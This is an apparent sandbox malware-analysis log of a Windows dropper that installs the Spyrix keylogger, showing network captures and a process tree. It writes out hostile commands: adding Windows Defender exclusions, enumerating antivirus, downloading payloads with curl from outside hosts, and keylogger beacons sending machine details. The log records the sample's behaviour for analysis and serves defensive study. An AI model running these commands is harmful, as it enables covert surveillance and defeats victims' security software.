2024-10-02 04:11:50 UTC	4096	IN	Data Raw: 3c ed da 5d 49 e6 59 b7 73 49 e5 e9 e7 7f 8c a4 93 42 b2 f2 93 ed 62 81 d9 cb 49 38 44 0f a7 b7 63 5f 8f f9 0c 5f 36 5c fa 91 13 f5 09 44 29 59 14 65 ec 9f d0 7f 7e 59 dc df d4 0b 44 0a 63 36 68 72 09 74 80 bf 13 43 53 c9 42 71 f2 71 3b 3a 7c 69 a8 fd f8 de 6c 5f be fe fe b0 8a 02 85 56 93 1f ca f1 57 22 9e 6f d6 8f bb c7 5b 03 2f d2 5a ae 9a 95 4c 8e f6 30 57 76 c2 4b c2 cb 0e 77 26 4d b0 a8 4a c9 d4 36 76 7f fa 1d 73 fd ee 18 de 74 d3 6e 45 de 8c 1b e7 44 5a c2 82 ad d7 68 65 94 2d d4 b2 d0 a7 37 b7 b2 74 a2 7d 6f 66 ca f3 76 7b 47 f3 85 bb cd f5 77 a6 df 87 64 53 71 40 77 f0 e9 d9 cc e1 70 40 28 10 cd a1 95 cd 53 32 ee a0 f0 e9 88 77 58 b5 43 56 da 34 ef e7 07 c0 f8 a8 94 b8 85 f6 a7 23 c3 37 27 d5 95 fe 1a 1f 27 a3 cf 2a 5b a4 77 82 22 fb a9 94 03 c8 Data Ascii: <]IYsIBbI8Dc__6\D)Ye~YDc6hrtCSBqq;:\|il_VW"o[/ZL0WvKw&MJ6vstnEDZhe-7t}ofv{GwdSq@wp@(S2wXCV4#7''*[w"
2024-10-02 04:11:50 UTC	4096	IN	Data Raw: eb 0c a9 c4 c7 08 dd a1 d0 cc 2c 28 ab b4 67 23 2f 06 1f bd b8 69 18 63 cf 2d 9c 7b f1 41 d1 1c eb e9 e0 8c 1e ae d6 a3 e2 ab b6 f7 e5 97 ce 0b 7e ee 36 bb f8 e1 85 72 b6 26 b4 b4 e7 09 56 2f 4c 08 83 66 65 52 2b 26 8f 74 8a 03 f8 7d 92 79 20 e4 00 7d 4b 4d 11 25 39 5a 40 49 2e aa d9 82 6d dd 42 3b 5c 7d c7 41 e1 f3 ed f0 1d db e1 c1 2d 87 f1 c3 d5 8d 50 52 74 34 9c d4 d4 be 85 be a5 9f be b5 d7 1c 6a 34 df 49 bd 5d bd e5 c4 ab 76 ee 6f 1c 13 3f 9a 63 fa 8d cb fd 97 63 8a e6 7f b6 79 60 35 06 1d 21 e7 56 5a 86 d4 e1 16 64 40 ea f8 90 7c 3c 0f 33 c8 ee 5e 40 21 c9 bd ea 5a 28 8f 98 5b e8 d2 aa 0b aa 95 d6 a1 09 19 e4 23 dd f1 a0 93 91 ba aa 0a 77 fd b5 62 9c d7 27 f9 84 9d 24 33 38 54 22 d6 81 e4 7a b8 98 94 9b 97 a4 51 e7 54 c4 9b fc 39 79 e4 23 e0 13 1d Data Ascii: ,(g#/ic-{A~6r&V/LfeR+&t}y }KM%9Z@I.mB;\}A-PRt4j4I]vo?ccy`5!VZd@\|<3^@!Z([#wb'$38T"zQT9y#
2024-10-02 04:11:50 UTC	4096	IN	Data Raw: 36 01 9a 52 33 74 77 2d 81 83 ab de 5d 8e 19 3b c8 62 3f 1b 6b 2c 78 0d 7e 67 df 2d 55 02 1d bb da c8 67 95 a5 58 48 1e 05 9b 1f 75 57 51 40 ee 0f c1 db 8c fa a3 82 5f a7 d0 ca 60 a4 fb 3f 35 09 2f a4 6a c8 00 d6 98 6a d2 8b 90 11 d1 6c 22 f4 20 3d 25 74 60 ad 6b a3 5e 4c 9d a4 26 5e 4a e9 e8 80 b1 3c c6 5c 42 88 60 2f e4 61 e4 03 28 72 18 e2 b3 cd 06 be 00 f8 7d 26 68 a8 51 52 f5 9d db e6 bb 6a 3a fb de 6a 42 af 5e bc e6 ad 10 62 d3 cb 6c 95 a2 27 9c 4e 07 51 8a eb 5d 49 09 2f df e2 9a 2b 18 f7 c1 af ab 52 5a e7 d4 96 9c 00 44 94 ef 91 13 25 b5 73 52 5a 57 fd fa 80 8b 5d 01 c4 f4 6a bd d4 d7 b5 ec c8 8f 9d 6d 7c 45 ca 88 93 bf 3f e0 85 5e 05 6c ec b7 6c 72 d2 d4 06 ed 98 e6 43 67 e3 b4 c7 8d 4d 4b 5b 75 59 0d c6 f6 ee 83 fb d8 e8 71 c0 b9 19 19 47 5c fb Data Ascii: 6R3tw-];b?k,x~g-UgXHuWQ@_`?5/jjl" =%t`k^L&^J<\B`/a(r}&hQRj:jB^bl'NQ]I/+RZD%sRZW]jm\|E?^llrCgMK[uYqG\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.5	49785	95.181.182.182	443	2824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:50 UTC	415	OUT	GET /dashboard30/assets/Input.vue_vue_type_script_setup_true_lang-31858815.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:50 UTC	333	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:50 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 3702 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-e76" Cache: STALE X-Cached-Since: 2024-10-02T02:04:55+00:00 X-Node: m9p-up-gc30 Accept-Ranges: bytes
2024-10-02 04:11:50 UTC	3702	IN	Data Raw: 69 6d 70 6f 72 74 20 42 20 66 72 6f 6d 22 2e 2f 6c 6f 6f 70 2d 63 34 35 66 30 66 31 65 2e 6a 73 22 3b 69 6d 70 6f 72 74 7b 64 20 61 73 20 62 2c 6d 20 61 73 20 69 2c 61 69 20 61 73 20 77 2c 63 20 61 73 20 64 2c 6f 20 61 73 20 75 2c 62 20 61 73 20 68 2c 69 20 61 73 20 66 2c 6e 20 61 73 20 6f 2c 75 20 61 73 20 61 2c 68 20 61 73 20 70 2c 55 20 61 73 20 76 2c 7a 20 61 73 20 6d 2c 65 20 61 73 20 43 2c 79 20 61 73 20 49 7d 66 72 6f 6d 22 2e 2f 69 6e 64 65 78 2d 30 30 34 66 34 30 32 35 2e 6a 73 22 3b 69 6d 70 6f 72 74 7b 5f 20 61 73 20 45 7d 66 72 6f 6d 22 2e 2f 42 75 74 74 6f 6e 2e 76 75 65 5f 76 75 65 5f 74 79 70 65 5f 73 63 72 69 70 74 5f 73 65 74 75 70 5f 74 72 75 65 5f 6c 61 6e 67 2d 35 36 65 64 66 35 61 36 2e 6a 73 22 3b 63 6f 6e 73 74 20 57 3d 22 2d 7a 74 Data Ascii: import B from"./loop-c45f0f1e.js";import{d as b,m as i,ai as w,c as d,o as u,b as h,i as f,n as o,u as a,h as p,U as v,z as m,e as C,y as I}from"./index-004f4025.js";import{_ as E}from"./Button.vue_vue_type_script_setup_true_lang-56edf5a6.js";const W="-zt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.5	49787	95.181.182.182	443	2824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:51 UTC	387	OUT	GET /dashboard30/assets/useValidation-954c07e6.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:51 UTC	329	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:51 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 838 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-346" Cache: HIT X-Cached-Since: 2024-10-02T03:50:39+00:00 X-Node: m9-up-gc70 Accept-Ranges: bytes
2024-10-02 04:11:51 UTC	838	IN	Data Raw: 69 6d 70 6f 72 74 7b 61 63 20 61 73 20 6e 2c 6d 20 61 73 20 69 7d 66 72 6f 6d 22 2e 2f 69 6e 64 65 78 2d 30 30 34 66 34 30 32 35 2e 6a 73 22 3b 63 6f 6e 73 74 20 64 3d 65 3d 3e 7b 63 6f 6e 73 74 7b 74 7d 3d 6e 3b 72 65 74 75 72 6e 20 65 2e 69 6e 63 6c 75 64 65 73 28 22 40 22 29 26 26 65 2e 69 6e 63 6c 75 64 65 73 28 22 2e 22 29 3f 22 22 3a 74 28 22 50 6c 65 61 73 65 20 65 6e 74 65 72 20 61 20 76 61 6c 69 64 20 65 2d 6d 61 69 6c 20 61 64 64 72 65 73 73 22 29 7d 3b 66 75 6e 63 74 69 6f 6e 20 6d 28 65 29 7b 63 6f 6e 73 74 7b 74 7d 3d 6e 3b 72 65 74 75 72 6e 20 65 2e 6c 65 6e 67 74 68 3c 3d 31 38 30 3f 22 22 3a 74 28 22 54 68 65 20 66 69 65 6c 64 20 6d 75 73 74 20 63 6f 6e 74 61 69 6e 20 6c 65 73 73 20 74 68 61 6e 20 31 38 30 20 63 68 61 72 61 63 74 65 72 73 Data Ascii: import{ac as n,m as i}from"./index-004f4025.js";const d=e=>{const{t}=n;return e.includes("@")&&e.includes(".")?"":t("Please enter a valid e-mail address")};function m(e){const{t}=n;return e.length<=180?"":t("The field must contain less than 180 characters

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.5	49786	95.181.182.182	443	2824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:51 UTC	378	OUT	GET /dashboard30/assets/loop-c45f0f1e.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:52 UTC	332	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:52 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 523 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-20b" Cache: STALE X-Cached-Since: 2024-10-01T23:08:32+00:00 X-Node: m9-up-gc228 Accept-Ranges: bytes
2024-10-02 04:11:52 UTC	523	IN	Data Raw: 69 6d 70 6f 72 74 7b 6f 20 61 73 20 65 2c 62 20 61 73 20 6f 2c 69 20 61 73 20 74 7d 66 72 6f 6d 22 2e 2f 69 6e 64 65 78 2d 30 30 34 66 34 30 32 35 2e 6a 73 22 3b 63 6f 6e 73 74 20 73 3d 7b 78 6d 6c 6e 73 3a 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 2c 76 69 65 77 42 6f 78 3a 22 30 20 30 20 32 34 20 32 34 22 7d 2c 6e 3d 74 28 22 70 61 74 68 22 2c 7b 64 3a 22 4d 31 34 2e 37 32 20 31 33 2e 34 33 34 68 2d 2e 36 37 37 6c 2d 2e 32 34 2d 2e 32 33 32 61 35 2e 35 35 20 35 2e 35 35 20 30 20 30 20 30 20 31 2e 33 34 36 2d 33 2e 36 32 37 20 35 2e 35 37 34 20 35 2e 35 37 34 20 30 20 31 20 30 2d 35 2e 35 37 34 20 35 2e 35 37 34 20 35 2e 35 35 20 35 2e 35 35 20 30 20 30 20 30 20 33 2e 36 32 37 2d 31 2e 33 34 36 6c 2e 32 33 32 2e Data Ascii: import{o as e,b as o,i as t}from"./index-004f4025.js";const s={xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},n=t("path",{d:"M14.72 13.434h-.677l-.24-.232a5.55 5.55 0 0 0 1.346-3.627 5.574 5.574 0 1 0-5.574 5.574 5.55 5.55 0 0 0 3.627-1.346l.232.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.5	49788	158.69.117.119	443	3272	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:51 UTC	166	OUT	POST /dashboard/prg-actions HTTP/1.1 Host: spyrix.net User-Agent: curl/7.64.0 Accept: / Content-Length: 417 Content-Type: application/x-www-form-urlencoded
2024-10-02 04:11:51 UTC	417	OUT	Data Raw: 26 61 63 74 69 6f 6e 3d 61 70 70 3a 77 69 7a 61 72 64 3a 53 74 61 72 74 26 64 61 74 61 3d 26 70 72 67 5f 69 64 3d 53 70 79 72 69 78 20 46 72 65 65 20 4b 65 79 6c 6f 67 67 65 72 26 70 72 67 5f 76 65 72 3d 31 31 2e 36 2e 32 32 26 75 73 65 72 5f 6e 61 6d 65 3d 61 6c 66 6f 6e 73 26 75 73 65 72 3d 26 63 6f 6d 70 5f 6e 61 6d 65 3d 38 34 31 36 31 38 26 63 6f 6d 70 5f 69 64 3d 39 65 31 34 36 62 65 39 2d 63 37 36 61 2d 34 37 32 30 2d 62 63 64 62 2d 35 33 30 31 31 62 38 37 62 64 30 36 5f 32 34 31 30 30 32 30 30 31 30 33 34 26 63 6f 6d 70 5f 74 69 6d 65 3d 32 30 32 34 2d 31 30 2d 30 32 20 30 30 3a 31 31 3a 35 30 2e 31 35 39 26 70 72 67 5f 6c 6e 67 3d 65 6e 67 6c 69 73 68 26 6f 73 5f 63 61 70 74 69 6f 6e 3d 20 28 29 26 6f 73 5f 74 79 70 65 3d 77 69 6e 64 6f 77 73 26 Data Ascii: &action=app:wizard:Start&data=&prg_id=Spyrix Free Keylogger&prg_ver=11.6.22&user_name=user&user=&comp_name=841618&comp_id=9e146be9-c76a-4720-bcdb-53011b87bd06_241002001034&comp_time=2024-10-02 00:11:50.159&prg_lng=english&os_caption= ()&os_type=windows&
2024-10-02 04:11:52 UTC	170	IN	HTTP/1.1 201 Created Server: nginx/1.17.3 Date: Wed, 02 Oct 2024 04:11:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 04:11:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.5	49789	158.69.117.119	443

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:12:00 UTC	163	OUT	POST /dashboard/prg-list HTTP/1.1 Host: Spyrix.net User-Agent: curl/7.64.0 Accept: / Content-Length: 837 Content-Type: application/x-www-form-urlencoded
2024-10-02 04:12:00 UTC	837	OUT	Data Raw: 26 74 72 69 61 6c 5f 69 64 3d 2d 31 26 6f 73 5f 69 6e 73 74 61 6c 6c 5f 64 61 74 65 3d 32 30 32 33 2d 31 30 2d 30 33 20 31 30 3a 35 37 3a 31 38 26 6f 73 5f 63 6f 75 6e 74 72 79 5f 63 6f 64 65 3d 34 34 20 20 20 20 20 20 20 20 20 20 20 26 64 6e 65 74 3d 34 2e 38 2e 30 34 30 38 34 26 6f 73 5f 63 61 70 74 69 6f 6e 3d 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 31 30 2e 30 2e 31 39 30 34 35 20 26 70 72 67 5f 69 64 3d 53 70 79 72 69 78 20 46 72 65 65 20 4b 65 79 6c 6f 67 67 65 72 26 70 72 67 5f 76 65 72 3d 31 31 2e 36 2e 32 32 26 6c 69 63 65 6e 73 65 3d 26 61 76 3d 57 69 6e 64 6f 77 73 20 44 65 66 65 6e 64 65 72 26 6f 73 5f 74 79 70 65 3d 77 69 6e 64 6f 77 73 26 70 72 67 5f 6c 6e 67 3d 65 6e 67 6c 69 73 68 26 63 6f 6d 70 5f 6e 61 Data Ascii: &trial_id=-1&os_install_date=2023-10-03 10:57:18&os_country_code=44 &dnet=4.8.04084&os_caption=Microsoft Windows 10 Pro 10.0.19045 &prg_id=Spyrix Free Keylogger&prg_ver=11.6.22&license=&av=Windows Defender&os_type=windows&prg_lng=english&comp_na
2024-10-02 04:12:00 UTC	170	IN	HTTP/1.1 201 Created Server: nginx/1.17.3 Date: Wed, 02 Oct 2024 04:12:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 04:12:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.5	49790	158.69.117.119	443

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:12:11 UTC	166	OUT	POST /dashboard/prg-actions HTTP/1.1 Host: spyrix.net User-Agent: curl/7.64.0 Accept: / Content-Length: 409 Content-Type: application/x-www-form-urlencoded
2024-10-02 04:12:11 UTC	409	OUT	Data Raw: 26 61 63 74 69 6f 6e 3d 61 70 70 3a 53 68 6f 77 26 64 61 74 61 3d 26 70 72 67 5f 69 64 3d 53 70 79 72 69 78 20 46 72 65 65 20 4b 65 79 6c 6f 67 67 65 72 26 70 72 67 5f 76 65 72 3d 31 31 2e 36 2e 32 32 26 75 73 65 72 5f 6e 61 6d 65 3d 61 6c 66 6f 6e 73 26 75 73 65 72 3d 26 63 6f 6d 70 5f 6e 61 6d 65 3d 38 34 31 36 31 38 26 63 6f 6d 70 5f 69 64 3d 39 65 31 34 36 62 65 39 2d 63 37 36 61 2d 34 37 32 30 2d 62 63 64 62 2d 35 33 30 31 31 62 38 37 62 64 30 36 5f 32 34 31 30 30 32 30 30 31 30 33 34 26 63 6f 6d 70 5f 74 69 6d 65 3d 32 30 32 34 2d 31 30 2d 30 32 20 30 30 3a 31 32 3a 30 39 2e 38 34 34 26 70 72 67 5f 6c 6e 67 3d 65 6e 67 6c 69 73 68 26 6f 73 5f 63 61 70 74 69 6f 6e 3d 20 28 29 26 6f 73 5f 74 79 70 65 3d 77 69 6e 64 6f 77 73 26 6f 73 5f 63 6f 75 6e 74 Data Ascii: &action=app:Show&data=&prg_id=Spyrix Free Keylogger&prg_ver=11.6.22&user_name=user&user=&comp_name=841618&comp_id=9e146be9-c76a-4720-bcdb-53011b87bd06_241002001034&comp_time=2024-10-02 00:12:09.844&prg_lng=english&os_caption= ()&os_type=windows&os_count
2024-10-02 04:12:11 UTC	170	IN	HTTP/1.1 201 Created Server: nginx/1.17.3 Date: Wed, 02 Oct 2024 04:12:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 04:12:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	00:09:58
Start date:	02/10/2024
Path:	C:\Users\user\Desktop\404.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\404.exe"
Imagebase:	0x360000
File size:	90'112 bytes
MD5 hash:	D15DAEF371B50FB739401BFDE29DF35A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	00:10:01
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"cmd.exe" /c C:\Users\user\AppData\Local\Temp\38b5bf3b-2a32-4636-ac09-779581aade41\\38b5bf3b-2a32-4636-ac09-779581aade41.cmd
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	00:10:01
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	00:10:01
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	reg query "HKU\S-1-5-19\Environment"
Imagebase:	0x9a0000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	00:10:01
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell.exe add-mpPreference -exclusionPath "'C:\Users\user\AppData\Local\Temp\38b5bf3b-2a32-4636-ac09-779581aade41'"
Imagebase:	0xa10000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	00:10:04
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\curl.exe
Wow64 process (32bit):	true
Commandline:	curl.exe --insecure --user-agent "sfk-dst-loader-2.0" -o "C:\Users\user\AppData\Local\Temp\38b5bf3b-2a32-4636-ac09-779581aade41\l" https://cdnbaynet.com/loader/link.php?prg_id=sfk
Imagebase:	0xb20000
File size:	470'528 bytes
MD5 hash:	44E5BAEEE864F1E9EDBE3986246AB37A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	00:10:06
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\curl.exe
Wow64 process (32bit):	true
Commandline:	curl.exe --insecure --user-agent "sfk-dst-loader-2.0" -o "C:\Users\user\AppData\Local\Temp\38b5bf3b-2a32-4636-ac09-779581aade41\404.exe" https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.exe
Imagebase:	0xb20000
File size:	470'528 bytes
MD5 hash:	44E5BAEEE864F1E9EDBE3986246AB37A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	00:10:31
Start date:	02/10/2024
Path:	C:\Users\user\AppData\Local\Temp\38b5bf3b-2a32-4636-ac09-779581aade41\404.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\38b5bf3b-2a32-4636-ac09-779581aade41\404.exe"
Imagebase:	0x400000
File size:	33'441'448 bytes
MD5 hash:	0F335D8996D82DA30FE9286C671FA0CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	00:10:31
Start date:	02/10/2024
Path:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp" /SL5="$70296,32862490,227328,C:\Users\user\AppData\Local\Temp\38b5bf3b-2a32-4636-ac09-779581aade41\404.exe"
Imagebase:	0x400000
File size:	1'286'144 bytes
MD5 hash:	BFA3F09DEEE00832D000F497EC5B570A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	00:10:34
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\is-98UMI.tmp\d.cmd
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	00:10:34
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	00:10:35
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c "wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /value"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	00:10:35
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\wbem\WMIC.exe
Wow64 process (32bit):	true
Commandline:	wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /value
Imagebase:	0xa20000
File size:	427'008 bytes
MD5 hash:	E2DE6500DE1148C7F6027AD50AC8B891
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	00:10:36
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\is-98UMI.tmp\d.cmd
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Analysis Process: conhost.exePID: 7792, Parent PID: 7784

General

Target ID:	18
Start time:	00:10:36
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	00:10:36
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c "wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /value"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: WMIC.exePID: 7852, Parent PID: 7836

General

Target ID:	20
Start time:	00:10:36
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\wbem\WMIC.exe
Wow64 process (32bit):	true
Commandline:	wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /value
Imagebase:	0xa20000
File size:	427'008 bytes
MD5 hash:	E2DE6500DE1148C7F6027AD50AC8B891
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	00:10:37
Start date:	02/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\is-98UMI.tmp\ex.cmd
Imagebase:	0x7ff6bd780000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	00:10:37
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	00:10:37
Start date:	02/10/2024
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg export "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" "C:\Users\user\AppData\Local\Temp\is-98UMI.tmp\ex" /y
Imagebase:	0x7ff7c6ba0000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	00:10:40
Start date:	02/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\is-98UMI.tmp\pswd.cmd
Imagebase:	0x7ff6bd780000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
